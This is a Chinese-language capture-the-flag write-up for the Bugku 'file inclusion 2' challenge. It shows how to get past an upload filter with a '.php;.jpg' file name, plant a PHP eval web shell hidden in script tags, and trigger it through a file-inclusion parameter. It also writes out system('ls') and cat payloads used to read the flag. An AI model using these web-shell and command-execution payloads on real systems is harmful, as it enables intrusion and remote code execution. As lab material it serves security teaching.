1. 程式人生 > >bugku-檔案包含2 writeup

bugku-檔案包含2 writeup

檔案包含2

flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:檔案包含

這裡寫圖片描述

2.將hello.php改成upload.php,訪問

這裡寫圖片描述
這裡對上傳的檔案的格式和大小做了限制

3.上傳一個圖片馬,burpsuite抓包改字尾為.php上傳失敗

這裡寫圖片描述

4.這對檔案的字尾也做了限制,%00截斷不管用

這裡寫圖片描述

5.換一種姿勢上傳,普通一句話會被過濾

這裡構造<?=eval($_POST['shell']);>

<script language=php>
@eval($_POST[pupil]);
</script>

儲存檔案修改後綴為2333.php;.jpg,成功上傳

/upload/201804141155474379.jpg

這裡寫圖片描述

直接用圖片路徑菜刀是連不上的

使用包含檔案的方式訪問

這裡寫圖片描述
頁面是空白的

使用菜刀連線

還是沒法連線成功…..

6.那就直接構造命令執行

<script language=php>system("ls")</script>

同理,修改後綴名為jpg,如233.php;.jpg,上傳成功
這裡寫圖片描述

7.訪問圖片的包含路徑

http://118.89.219.210:49166/index.php?file=upload/201804141202562458.jpg

這裡寫圖片描述
或者構造命令執行

<script language=php>system("cat 訪問的檔名.txt")</script>

包含檔案的方式直接訪問.txt檔案
這裡寫圖片描述